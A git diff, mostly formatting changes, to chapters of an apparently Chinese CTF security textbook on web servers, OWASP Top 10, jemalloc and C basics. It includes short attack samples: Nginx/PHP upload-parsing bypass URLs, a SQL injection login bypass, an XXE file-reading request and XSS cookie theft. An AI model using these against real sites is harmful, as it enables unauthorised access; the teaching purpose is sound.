就是它们组合的简称,即 Windows 或者 Linux 下的 Apache2+Mysql+PHP。 -#### 安装 +### 安装 Apache + Windows 下推荐直接[安装](http://www.wampserver.com/en/) WAMP 环境。 Ubuntu 下可以依次使用命令安装,需要注意的是不同的系统版本对 PHP 的支持情况不同,这里以 ubuntu 16.04 为例。 -``` -$ sudo apt-get install apache2 -$ sudo apt-get install mysql-server mysql-client -$ sudo apt-get install php7.0 -$ sudo apt-get install libapache2-mod-php7.0 -$ sudo apt-get install php7.0-mysql -$ service apache2 restart -$ service mysql restart + +```text +sudo apt-get install apache2 +sudo apt-get install mysql-server mysql-client +sudo apt-get install php7.0 +sudo apt-get install libapache2-mod-php7.0 +sudo apt-get install php7.0-mysql +service apache2 restart +service mysql restart ``` -#### 组件 +### 组件 + Apache 服务器拥有强大的组件系统,这些组件补充了包括认证、日志记录、命令交互、语言支持等复杂功能,同样在 Apache 的发展过程中,许多组件都出现过漏洞,包括资源溢出、拒绝服务、远程命令执行等。 关于 Apache 的组件历史漏洞可以在 [https://www.exploit-db.com](https://www.exploit-db.com) 中进行查看 -#### 文件后缀解析特性 +### 文件后缀解析特性 + Apache 支持多后缀解析,对文件的后缀解析采用从右向左的顺序,如果遇到无法识别的后缀名就会依次遍历剩下的后缀名。 同时,还可以在配置文件如下选项中增加其他后缀名: -``` - + +```text + ``` 更多的后缀名支持可以查看 `mime.type` 文件。 - ## Nginx + Nginx 的特点在于它的负载均衡和反向代理功能,在访问规模庞大的站点上通常使用 Nginx 作为服务器。同样,Nginx 也和 Mysql、PHP 一同构成了 WNMP 和 LNMP 环境。和 Apache 默认将 PHP 作为模块加载不同的是,Nginx 通过 CGI 来调用 PHP。 -#### 安装 +### 安装 Nginx + Windows 由于没有官方网站的 WNMP,大家可以选择 Github 上的 WNMP 项目或者其他用户打包好的安装环境进行安装。 Ubuntu 这里以 FPM 配置为例: -``` + +```text $ sudo apt-get install nginx $ sudo apt-get install php7.0 $ sudo apt-get install php7.0-fpm @@ -62,51 +68,57 @@ server { ...... location ~ \.php$ { include snippets/fastcgi-php.conf; - fastcgi_pass unix:/run/php/php7.0-fpm.sock; + fastcgi_pass unix:/run/php/php7.0-fpm.sock; } ...... ...... -} +} $ service nginx restart $ sudo apt-get install mysql-server php7.0-mysql $ sudo apt-get install mysql-client ``` -#### 文件后缀解析特性 +### 文件后缀解析 + 由于 Nginx 对 CGI 的使用更加广泛,所以 PHP 在 CGI 的一些解析特性放到 Nginx 这里来讲解,PHP 具有对文件路径进行修正的特性,使用如下配置参数: -``` + +```text cgi.fix_pathinfo = 1 ``` 当使用如下的 URL 来访问一个存在的 1.jpg 资源时,Nginx 认为这是一个 PHP 资源,于是会将该资源交给 PHP 来处理,而 PHP 此时会发现 1.php 不存在,通过修正路径,PHP 会将存在的 1.jpg 作为 PHP 来执行。 -``` -http://xxx/xxx/1.jpg/1.php + +```text +http://xxx/xxx/1.jpg/1.php ``` 相似的绕过方式还有以下几种方式: -``` -http://xxx/xxx/1.jpg%00.php + +```text +http://xxx/xxx/1.jpg%00.php http://xxx/xxx/1.jpg \0.php ``` 但是,新版本的 PHP 引入了新的配置项 “security.limit_extensions” 来限制可执行的文件后缀,以此来弥补 CGI 文件后缀解析的不足。 - ## IIS + IIS 被广泛内置于 Windows 的多个操作系统中,只需要在控制面板中的 Windows 服务下打开 IIS 服务,即可进行配置操作。作为微软的 Web 服务器,它对 .net 的程序应用支持最好,同时也支持以 CGI 的方式加载其他语言。 -#### 安装 +### 安装 IIS + IIS 通常只能运行在 Windows 系统上,以 Windows 10 为例,打开控制面板,依次选择程序-启用或关闭 Windows 功能,勾选打开 Internet Information Services 服务。 启动成功后,在 “此电脑” 选项上点击右键,打开 “管理” 选项,选择 “服务和应用程序” 即可看到 IIS 的相关配置。 -#### IIS 解析特性 +### IIS 解析特性 + - IIS 短文件名 为了兼容 16 位 MS-DOS 程序, Windows 会为文件名较长的文件生成对应的短文件名,如下所示: -![](../pic/1.4.4_short_filename.png) +![img](../pic/1.4.4_short_filename.png) 利用这种文件机制,我们可以在 IIS 和 .net 环境下进行短文件名爆破。 @@ -116,13 +128,15 @@ IIS 6.0 解析文件时会忽略分号后的字符串,因此 `1.asp;2.jpg` 将 - IIS 也存在类似于 Nginx 的 CGI 解析特性 - ## 如何获取 Web 服务指纹 + 比赛中的信息获取往往十分重要,确定 Web 服务器指纹对于下一步的对策很重要。 -#### HTTP 头识别 +### HTTP 头识别 + 许多 Web 服务器都会在返回给用户的 HTTP 头中告知自己的服务器名称和版本。举例列出一些真实存在的包含服务器信息的 HTTP 头: -``` + +```text Server: nginx Server: Tengine Server: openresty/1.11.2.4 @@ -132,18 +146,23 @@ X-Powered-By: PHP/5.5.25 X-Powered-By: ASP.NET ``` -#### 文件扩展名 +### 文件扩展名 + URL 中使用的文件扩展名也能够揭示相关的服务平台和编程语言,如: + - `asp`:Microsoft Active Server Pages - `aspx`:Microsoft ASP.NET - `jsp`:Java Server Pages - `php`:PHP -#### 目录名称 +### 目录名称 + 一些子目录名称也常常表示应用程序所使用的相关技术。 -#### 会话令牌 +### 会话令牌 + 许多服务会默认生成会话令牌,通过读取 cookie 中的会话令牌可以判断所使用的技术。如: + - `JSESSIONID`:JAVA - `ASPSESSIONID`:IIS - `ASP.NET_SessionId`:ASP.NET diff --git a/doc/1.4.5_owasp_basic.md b/doc/1.4.5_owasp_basic.md index f88cf88..015e755 100644 --- a/doc/1.4.5_owasp_basic.md +++ b/doc/1.4.5_owasp_basic.md @@ -12,11 +12,12 @@ - [使用含有已知漏洞的组件](#使用含有已知漏洞的组件) - [不足的日志记录和监控](#不足的日志记录和监控) - ## OWASP Project + OWASP 是一个开放的 Web 安全社区,影响着 Web 安全的方方面面,OWASP 每隔一段时间就会整理更新一次 “Top 10” 的 Web 漏洞排名,对当前实际环境常见的漏洞进行罗列,虽然漏洞排名经常引起业界的争议,但是在开源环境下,该计划公布的漏洞也能够客观反映实际场景中的某些问题,因此,我们选择 OWASP Top Ten 来作为 Web 方向的漏洞入门介绍材料。 ## 注入 + 用一个不严谨的说法来形容注入攻击,就是,本应该处理用户输入字符的代码,将用户输入当作了代码来执行,常见于解释型语言。主要有以下几种形式: | 类别 | 说明 | @@ -27,48 +28,53 @@ OWASP 是一个开放的 Web 安全社区,影响着 Web 安全的方方面面 | 服务端模板注入 | 使用模板引擎的语言常见的注入形式 | 一个简单的例子如下所示,这是一段身份认证常见的代码: + ```sql SELECT * FROM users WHERE username = 'admin' and password = '123456' ``` 这个查询接收用户输入的账号和密码,放入数据库中进行查询,如果查询有结果则允许用户登录。在这种情况下,攻击者可以注入用户名或密码字段,来修改整个 SQL 语句的逻辑,用户可以提交这样的用户名: + ```sql admin' -- - ``` 这时,应用程序将执行以下查询: + ```sql SELECT * FROM users WHERE username = 'admin' -- -' and password = '123456' ``` 这里使用了 SQL 语句中的注释符(--),将密码部分查询注释掉,因此上面语句等同于: + ```sql SELECT * FROM users WHERE username = 'admin' ``` 此时,仅仅通过用户名而不需要密码,我们便可成功登陆一个账号。 - ## 失效的身份认证 + 身份认证对于 Web 应用程序尤为重要,它是鉴别用户权限并授权的重要依据。但是,由于设计缺陷,许多登陆窗口缺乏验证码机制,导致攻击者可以低成本的对用户口令进行爆破攻击。另一方面,大量存在的弱口令或默认口令使得攻击者可以轻易的猜测出用户的常用口令,窃取用户权限。 当用户身份得到确定后,通常会使用会话来保持一定时间的权限,避免用户短时间内需要多次重复认证。但是,如果会话 ID 处理不当,有可能导致攻击者获取会话 ID 进行登录。 - ## 敏感数据泄露 + 一种场景是由于没有进行科学的加密方法,导致敏感数据以明文形式泄露。另一种场景是由于人为的管理不当,导致个人信息、登录凭证泄漏到公网中,常见的敏感数据泄露包括网站备份文件泄露、代码仓库泄露、硬编码凭证于代码中导致的泄露。 比如,在 Github 中搜索口令或者 API 关键字,可以发现大量私人的凭证直接写在代码中被上传到 Github 仓库中。 - ## XML 外部实体 + 从某种意义上说,XXE 也是一种注入攻击。通过利用 XML 处理器对外部实体的处理机制,将用户的外部实体输入代替已定义的实体引用,执行恶意代码。 一个典型的 XXE 攻击如下所示: + ```http POST /AjaxSearch.ashx HTTP/1.1 Host: test.com -Content-Type: text/xml; +Content-Type: text/xml; ]> &xxe @@ -76,26 +82,26 @@ Content-Type: text/xml; 我们创建了一个外部引用文档类型定义去访问一个敏感的系统文件,而这个外部引用会在应用程序中替代已经命名的实体去执行,最终获取到敏感文件,如果这个时候的执行结果会返回给用户,那么用户就可以看到敏感文件中的内容。 - ## 失效的访问控制 + 如果采用安全的代码框架编写模式,很有可能会造成访问控制失效问题,比如某一个需要用户登录才能访问的主页面,其中的某些功能实现的页面并没有添加权限认证过程,导致虽然攻击者无法访问主页面,但却能够访问到功能页面执行功能函数。 另一种常见的漏洞就是用户权限跨越,典型的方式是通过明文的 ID 数字来赋予用户权限,攻击者可以修改 ID 号来获取任意用户权限。 -![](../pic/1.4.5_access_control.png) - +![img](../pic/1.4.5_access_control.png) ## 安全配置错误 + 由于配置疏忽,导致一些额外的信息、账户、文件可以被攻击者获取所导致的漏洞。常见的就是由于配置不当导致的目录遍历。 使用如下语句在 Google 中可以搜索到可目录遍历的网站,当然,许多网站也使用这种目录遍历的方式提供用户下载服务。 -``` +```text intitle:index of ``` - ## 跨站脚本 + 跨站脚本攻击(XSS)通过插入恶意脚本代码来窃取用户信息,获取用户权限以及配合其他漏洞发动更加复杂的攻击,一个最基本的 XSS 攻击如下所示,恶意脚本在 script 标签内,这一段脚本将会弹出你在当前页面上的 cookie 信息。 ```html @@ -104,32 +110,35 @@ intitle:index of XSS 漏洞根据表现形式的不同,主要有以下三种类型。 -#### 反射型 XSS +### 反射型 XSS + 有时,开发者会将一些用户可控的输入返回到网页中,如果返回的位置能够插入脚本语言或者触发事件,就存在反射型 XSS,通常攻击者发动这类攻击时需要受害者进行交互,因此这种攻击存在一定的局限性。 -#### 存储型 XSS +### 存储型 XSS + 存储型 XSS 是指当页面从持久化存储中读取内容并显示时,如果攻击者能够将 XSS 攻击代码写入持久化存储中,那么当任意用户访问漏洞页面时,都将触发恶意代码,因此,这种攻击具有更加严重的风险。 -#### DOM 型 XSS +### DOM 型 XSS + DOM 型 XSS 是由于攻击者可控的内容被加入到了正常的 JS 的框架或者 API 中导致的漏洞。 - ## 不安全的反序列化 + 序列化是一种数据对象传递手段,在传递数据值的同时保留了数据的结构属性。但是,如果在数据传递过程中处理不当,导致用户可控序列数据,在数据反序列化过程中就有可能造成命令执行或者越权行为。由于包括 Java、Python、PHP 等在内的语言都包含序列化和反序列化功能,根据不同的语言特性,利用方法有细微差距。 - ## 使用含有已知漏洞的组件 + 供应链安全是比较热门的话题,由于许多开源库被广泛用于各大社区、商业软件中,同时有部分的开源库并未得到有效维护,由此带来的供应链安全导致许多用户范围很广的软件存在着隐患。 当 0 day 漏洞公布后,一些场景无法及时的打补丁,也会使自身容易被攻击者利用。 - ## 不足的日志记录和监控 + 对系统、服务日志的有效监控会增加攻击者的入侵成本,因此,及时有效的日志记录、日志审计也应该是安全建设的重要环节。 需要强调的是,有时不足的日志记录方式还会产生严重的漏洞利用点,有可能被攻击者用来传递 Webshell。 - ## 参考资料 + - [2017-owasp-top-10](http://www.owasp.org.cn/owasp-project/2017-owasp-top-10) - 《黑客攻防技术宝典 - Web 实战篇》 diff --git a/doc/1.5.11_jemalloc.md b/doc/1.5.11_jemalloc.md index bfabe7e..e7bb2fd 100644 --- a/doc/1.5.11_jemalloc.md +++ b/doc/1.5.11_jemalloc.md @@ -8,29 +8,34 @@ - [CTF 实例](#ctf-实例) - [参考资料](#参考资料) - ## 简介 + jemalloc 是 Facebook 推出的一种通用 malloc 实现,在 FreeBSD、firefox 中被广泛使用。比起 ptmalloc2 具有更高的性能。 - ## 编译安装 + 我们来编译一个带调试信息的 jemalloc(注:4.x和5.x之间似乎差别比较大): + +```text +wget https://github.com/jemalloc/jemalloc/releases/download/5.0.1/jemalloc-5.0.1.tar.bz2 +tar -xjvf jemalloc-5.0.1.tar.bz2 +cd jemalloc-5.0.1 +./configure --prefix=/usr/local/jemalloc --enable-debug +make -j4 && sudo make install ``` -$ wget https://github.com/jemalloc/jemalloc/releases/download/5.0.1/jemalloc-5.0.1.tar.bz2 -$ tar -xjvf jemalloc-5.0.1.tar.bz2 -$ cd jemalloc-5.0.1 -$ ./configure --prefix=/usr/local/jemalloc --enable-debug -$ make -j4 && sudo make install -``` + 接下来修改链接信息: -``` + +```text # echo /usr/local/jemalloc/ >> /etc/ld.so.conf.d/jemalloc.conf # ldconfig ``` + 当我们想要在编译程序时指定 jemalloc 时可以像下面这样: -``` + +```text $ gcc -L/usr/local/jemalloc/lib -Wl,--rpath=/usr/local/jemalloc/lib -ljemalloc test.c -$ ldd a.out +$ ldd a.out linux-vdso.so.1 (0x00007fff69b62000) libjemalloc.so.2 => /usr/local/jemalloc/lib/libjemalloc.so.2 (0x00007f744483b000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f744447f000) @@ -41,25 +46,26 @@ $ ldd a.out libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0x00007f7443727000) /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f7444f02000) ``` + 可以看到 `libjemalloc.so.2` 已经被链接到程序里了。 - ## jemalloc 详解 + 我们以 jemalloc-4.5.0 版本来讲解。 -#### 数据结构 - +### 数据结构 ## 利用技术 ## CTF 实例 + 查看章节 6.1.29、6.1.34。 - ## 参考资料 -- http://jemalloc.net/ + +- [jemalloc](http://jemalloc.net/) - [Pseudomonarchia jemallocum](http://phrack.org/issues/68/10.html) - [The Shadow over Android](https://census-labs.com/media/shadow-infiltrate-2017.pdf) -- https://github.com/CENSUS/shadow/ +- [shadow](https://github.com/CENSUS/shadow/) - [Exploiting VLC - A case study on jemalloc heap overflows](http://phrack.org/issues/68/13.html) - [Exploiting the jemalloc Memory Allocator: Owning Firefox's Heap](https://media.blackhat.com/bh-us-12/Briefings/Argyoudis/BH_US_12_Argyroudis_Exploiting_the_%20jemalloc_Memory_%20Allocator_WP.pdf) diff --git a/doc/1.5.1_c_basic.md b/doc/1.5.1_c_basic.md index b828604..473ddc6 100644 --- a/doc/1.5.1_c_basic.md +++ b/doc/1.5.1_c_basic.md @@ -6,8 +6,8 @@ - [格式化输出函数](#格式化输出函数) - [关于 C++](#关于-c++) - ## 从源代码到可执行文件 + 我们以经典著作《The C Programming Language》中的第一个程序 “Hello World” 为例,讲解 Linux 下 GCC 的编译过程。 ```c @@ -26,13 +26,15 @@ hello world 以上过程可分为4个步骤:预处理(Preprocessing)、编译(Compilation)、汇编(Assembly)和链接(Linking)。 -![](../pic/1.5.1_compile.png) +![img](../pic/1.5.1_compile.png) + +### 预编译 -#### 预编译 ```text -$gcc -E hello.c -o hello.i -``` +gcc -E hello.c -o hello.i ``` + +```c # 1 "hello.c" # 1 "" # 1 "" @@ -45,6 +47,7 @@ main() { ``` 预编译过程主要处理源代码中以 “#” 开始的预编译指令: + - 将所有的 “#define” 删除,并且展开所有的宏定义。 - 处理所有条件预编译指令,如 “#if”、“#ifdef”、“#elif”、“#else”、“#endif”。 - 处理 “#include” 预编译指令,将被包含的文件插入到该预编译指令的位置。注意,该过程递归执行。 @@ -52,11 +55,13 @@ main() { - 添加行号和文件名标号。 - 保留所有的 #pragma 编译器指令。 -#### 编译 +### 编译 + ```text -$gcc -S hello.c -o hello.s -``` +gcc -S hello.c -o hello.s ``` + +```text .file "hello.c" .section .rodata .LC0: @@ -87,30 +92,32 @@ main: 编译过程就是把预处理完的文件进行一系列词法分析、语法分析、语义分析及优化后生成相应的汇编代码文件。 -#### 汇编 +### 汇编 + ```text -$gcc -c hello.s -o hello.o +$ gcc -c hello.s -o hello.o 或者 $gcc -c hello.c -o hello.o ``` -``` -$ objdump -sd hello.o + +```text +$ objdump -sd hello.o hello.o: file format elf64-x86-64 Contents of section .text: 0000 554889e5 488d3d00 000000e8 00000000 UH..H.=......... - 0010 b8000000 005dc3 .....]. + 0010 b8000000 005dc3 .....]. Contents of section .rodata: - 0000 68656c6c 6f2c2077 6f726c64 00 hello, world. + 0000 68656c6c 6f2c2077 6f726c64 00 hello, world. Contents of section .comment: 0000 00474343 3a202847 4e552920 372e322e .GCC: (GNU) 7.2. - 0010 3000 0. + 0010 3000 0. Contents of section .eh_frame: 0000 14000000 00000000 017a5200 01781001 .........zR..x.. 0010 1b0c0708 90010000 1c000000 1c000000 ................ 0020 00000000 17000000 00410e10 8602430d .........A....C. - 0030 06520c07 08000000 .R...... + 0030 06520c07 08000000 .R...... Disassembly of section .text: @@ -126,11 +133,13 @@ Disassembly of section .text: 汇编器将汇编代码转变成机器可以执行的指令。 -#### 链接 -``` -$ gcc hello.o -o hello -``` +### 链接 + +```text +gcc hello.o -o hello ``` + +```text $ objdump -d -j .text hello ...... 000000000000064a
: @@ -140,17 +149,19 @@ $ objdump -d -j .text hello 655: e8 d6 fe ff ff callq 530 65a: b8 00 00 00 00 mov $0x0,%eax 65f: 5d pop %rbp - 660: c3 retq + 660: c3 retq 661: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) - 668: 00 00 00 + 668: 00 00 00 66b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) ...... ``` 目标文件需要链接一大堆文件才能得到最终的可执行文件(上面只展示了链接后的 main 函数,可以和 hello.o 中的 main 函数作对比)。链接过程主要包括地址和空间分配(Address and Storage Allocation)、符号决议(Symbol Resolution)和重定向(Relocation)等。 -#### gcc 技巧 +### gcc 技巧 + 通常在编译后只会生成一个可执行文件,而中间过程生成的 `.i`、`.s`、`.o` 文件都不会被保存。我们可以使用参数 `-save-temps` 永久保存这些临时的中间文件。 + ```text $ gcc -save-temps hello.c $ ls @@ -158,32 +169,38 @@ a.out hello.c hello.i hello.o hello.s ``` 这里要注意的是,gcc 默认使用动态链接,所以这里生成的 a.out 实际上是共享目标文件。 + ```text -$ file a.out +$ file a.out a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=533aa4ca46d513b1276d14657ec41298cafd98b1, not stripped ``` 使用参数 `--verbose` 可以输出 gcc 详细的工作流程。 + +```text +gcc hello.c -static --verbose ``` -$ gcc hello.c -static --verbose -``` + 东西很多,我们主要关注下面几条信息: -``` -/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/cc1 -quiet -v hello.c -quiet -dumpbase hello.c -mtune=generic -march=x86-64 -auxbase hello -version -o /tmp/ccj1jUMo.s + +```text +$ /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/cc1 -quiet -v hello.c -quiet -dumpbase hello.c -mtune=generic -march=x86-64 -auxbase hello -version -o /tmp/ccj1jUMo.s as -v --64 -o /tmp/ccAmXrfa.o /tmp/ccj1jUMo.s /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/collect2 -plugin /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/lto-wrapper -plugin-opt=-fresolution=/tmp/cc1l5oJV.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_eh -plugin-opt=-pass-through=-lc --build-id --hash-style=gnu -m elf_x86_64 -static /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crt1.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crti.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/crtbeginT.o -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0 -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib -L/lib/../lib -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../.. /tmp/ccAmXrfa.o --start-group -lgcc -lgcc_eh -lc --end-group /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/crtend.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crtn.o ``` + 三条指令分别是 `cc1`、`as` 和 `collect2`,cc1 是 gcc 的编译器,将 `.c` 文件编译为 `.s` 文件,as 是汇编器命令,将 `.s` 文件汇编成 `.o` 文件,collect2 是链接器命令,它是对命令 ld 的封装。静态链接时,gcc 将 C 语言运行时库的 5 个重要目标文件 `crt1.o`、`crti.o`、`crtbeginT.o`、`crtend.o`、`crtn.o` 和 `-lgcc`、`-lgcc_eh`、`-lc` 表示的 3 个静态库链接到可执行文件中。 更多的内容我们会在 1.5.3 中专门对 ELF 文件进行讲解。 - ## C 语言标准库 + C 运行库(CRT)是一套庞大的代码库,以支撑程序能够正常地运行。其中 C 语言标准库占据了最主要地位。 常用的标准库文件头: + - 标准输入输出(stdio.h) - 字符操作(ctype.h) - 字符串操作(string.h) @@ -199,13 +216,15 @@ glibc 即 GNU C Library,是为 GNU 操作系统开发的一个 C 标准库。g 在漏洞利用的过程中,通常我们通过计算目标函数地址相对于已知函数地址在同一个 libc 中的偏移,来获得目标函数的虚拟地址,这时我们需要让本地的 libc 版本和远程的 libc 版本相同,可以先泄露几个函数的地址,然后在 [libcdb.com](http://libcdb.com/) 中进行搜索来得到。 - ## 整数表示 + 默认情况下,C 语言中的数字是有符号数,下面我们声明一个有符号整数和无符号整数: + ```c int var1 = 0; unsigned int var2 = 0; ``` + - 有符号整数 - 可以表示为正数或负数 - `int` 的范围:`-2,147,483,648 ~ 2,147,483,647` @@ -214,6 +233,7 @@ unsigned int var2 = 0; - `unsigned int` 的范围:`0 ~ 4,294,967,295` `signed` 或者 `unsigned` 取决于整数类型是否可以携带标志 `+/-`: + - Signed - int - signed int @@ -224,6 +244,7 @@ unsigned int var2 = 0; - unsigned long 在 `signed int` 中,二进制最高位被称作符号位,符号位被设置为 `1` 时,表示值为负,当设置为 `0` 时,值为非负: + - 0x7FFFFFFF = 2147493647 - 01111111111111111111111111111111 - 0x80000000 = -2147483647 @@ -232,6 +253,7 @@ unsigned int var2 = 0; - 11111111111111111111111111111111 二进制补码以一种适合于二进制加法器的方式来表示负数,当一个二进制补码形式表示的负数和与它的绝对值相等的正数相加时,结果为 0。首先以二进制方式写出正数,然后对所有位取反,最后加 1 就可以得到该数的二进制补码: + ```text eg: 0x00123456 = 1193046 @@ -242,6 +264,7 @@ eg: 0x00123456 ``` 编译器需要根据变量类型信息编译成相应的指令: + - 有符号指令 - IDIV:带符号除法指令 - IMUL:带符号乘法指令 @@ -274,30 +297,32 @@ long | -2 147 483 648 | 2 147 483 647 | 32 bits long long | -9 223 372 036 854 775 808 | 9 223 372 036 854 775 807 | 64 bits 固定大小的数据类型: + - `int [# of bits]_t` - - int8\_t, int16\_t, int32_t + - int8\_t, int16\_t, int32_t - `uint[# of bits]_t` - uint8\_t, uint16\_t, uint32_t - 有符号整数 - - ![](../pic/1.5.1_signed_integer.png) + - ![img](../pic/1.5.1_signed_integer.png) - 无符号整数 - - ![](../pic/1.5.1_unsigned_integer.png) + - ![img](../pic/1.5.1_unsigned_integer.png) 更多信息在 `stdint.h` 和 `limits.h` 中: + ```text -$ man stdint.h -$ cat /usr/include/stdint.h -$ man limits.h -$ cat /usr/include/limits.h +man stdint.h +cat /usr/include/stdint.h +man limits.h +cat /usr/include/limits.h ``` 了解整数的符号和大小是很有用的,在后面的相关章节中我们会介绍整数溢出的内容。 - ## 格式化输出函数 -#### 格式化输出函数 + C 标准中定义了下面的格式化输出函数(参考 `man 3 printf`): + ```c #include @@ -315,6 +340,7 @@ int vdprintf(int fd, const char *format, va_list ap); int vsprintf(char *str, const char *format, va_list ap); int vsnprintf(char *str, size_t size, const char *format, va_list ap); ``` + - `fprintf()` 按照格式字符串的内容将输出写入流中。三个参数为流、格式字符串和变参列表。 - `printf()` 等同于 `fprintf()`,但是它假定输出流为 `stdout`。 - `sprintf()` 等同于 `fprintf()`,但是输出不是写入流而是写入数组。在写入的字符串末尾必须添加一个空字符。 @@ -322,47 +348,49 @@ int vsnprintf(char *str, size_t size, const char *format, va_list ap); - `dprintf()` 等同于 `fprintf()`,但是它输出不是流而是一个文件描述符 `fd`。 - `vfprintf()`、`vprintf()`、`vsprintf()`、`vsnprintf()`、`vdprintf()` 分别与上面的函数对应,只是它们将变参列表换成了 `va_list` 类型的参数。 -#### 格式字符串 +### 格式字符串 + 格式字符串是由普通字符(ordinary character)(包括 `%`)和转换规则(conversion specification)构成的字符序列。普通字符被原封不动地复制到输出流中。转换规则根据与实参对应的转换指示符对其进行转换,然后将结果写入输出流中。 一个转换规则有可选部分和必需部分组成: + ```text %[ 参数 ][ 标志 ][ 宽度 ][ .精度 ][ 长度 ] 转换指示符 ``` - (必需)转换指示符 -字符 | 描述 ---- | --- -`d`, `i` | 有符号十进制数值 `int`。'`%d`' 与 '`%i`' 对于输出是同义;但对于 `scanf()` 输入二者不同,其中 `%i` 在输入值有前缀 `0x` 或 `0` 时,分别表示 16 进制或 8 进制的值。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。 -`u` | 十进制 `unsigned int`。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。 -`f`, `F` | `double` 型输出 10 进制定点表示。'`f`' 与 '`F`' 差异是表示无穷与 NaN 时,'`f`' 输出 '`inf`', '`infinity`' 与 '`nan`';'`F`' 输出 '`INF`', '`INFINITY`' 与 '`NAN`'。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点。小数点左侧至少一位数字。 -`e`, `E` | `double` 值,输出形式为 10 进制的([`-`]d.ddd `e`[`+`/`-`]ddd). `E` 版本使用的指数符号为 `E`(而不是`e`)。指数部分至少包含 2 位数字,如果值为 0,则指数部分为 00。Windows 系统,指数部分至少为 3 位数字,例如 1.5e002,也可用 Microsoft 版的运行时函数 `_set_output_format` 修改。小数点前存在 1 位数字。小数点后的数字位数等于精度。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点。 -`g`, `G` | `double` 型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,精度] 内,输出为定点形式;否则输出为指数浮点形式。'`g`' 使用小写字母,'`G`' 使用大写字母。小数点右侧的尾数 0 不被显示;显示小数点仅当输出的小数部分不为 0。 -`x`, `X` | 16 进制 `unsigned int`。'`x`' 使用小写字母;'`X`' 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。 -`o` | 8 进制 `unsigned int`。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。 -`s` | 如果没有用 `l` 标志,输出 `null` 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 `l` 标志,则对应函数参数指向 `wchar_t` 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 `wcrtomb` 函数。 -`c` | 如果没有用 `l` 标志,把 `int` 参数转为 `unsigned char` 型输出;如果用了 `l` 标志,把 `wint_t` 参数转为包含两个元素的 `wchart_t` 数组,其中第一个元素包含要输出的字符,第二个元素为 `null` 宽字符。 -`p` | `void *` 型,输出对应变量的值。`printf("%p", a)` 用地址的格式打印变量 `a` 的值,`printf("%p", &a)` 打印变量 `a` 所在的地址。 -`a`, `A` | `double` 型的 16 进制表示,"[−]0xh.hhhh p±d"。其中指数部分为 10 进制表示的形式。例如:1025.010 输出为 0x1.004000p+10。'`a`' 使用小写字母,'`A`' 使用大写字母。 -`n` | 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。 -`%` | '`%`' 字面值,不接受任何除了 `参数` 以外的部分。 +| 字符 | 描述 | +| --- | --- | +| `d`, `i` | 有符号十进制数值 `int`。'`%d`' 与 '`%i`' 对于输出是同义;但对于 `scanf()` 输入二者不同,其中 `%i` 在输入值有前缀 `0x` 或 `0` 时,分别表示 16 进制或 8 进制的值。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 | +| `u` | 十进制 `unsigned int`。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 | +| `f`, `F` | `double` 型输出 10 进制定点表示。'`f`' 与 '`F`' 差异是表示无穷与 NaN 时,'`f`' 输出 '`inf`', '`infinity`' 与 '`nan`';'`F`' 输出 '`INF`', '`INFINITY`' 与 '`NAN`'。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点。小数点左侧至少一位数字 | +| `e`, `E` | `double` 值,输出形式为 10 进制的([`-`]d.ddd `e`[`+`/`-`]ddd). `E` 版本使用的指数符号为 `E`(而不是`e`)。指数部分至少包含 2 位数字,如果值为 0,则指数部分为 00。Windows 系统,指数部分至少为 3 位数字,例如 1.5e002,也可用 Microsoft 版的运行时函数 `_set_output_format` 修改。小数点前存在 1 位数字。小数点后的数字位数等于精度。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点 | +| `g`, `G` | `double` 型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,精度] 内,输出为定点形式;否则输出为指数浮点形式。'`g`' 使用小写字母,'`G`' 使用大写字母。小数点右侧的尾数 0 不被显示;显示小数点仅当输出的小数部分不为 0 | +| `x`, `X` | 16 进制 `unsigned int`。'`x`' 使用小写字母;'`X`' 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 | +| `o` | 8 进制 `unsigned int`。如果指定了精度,则输出的数字不足时在左侧补 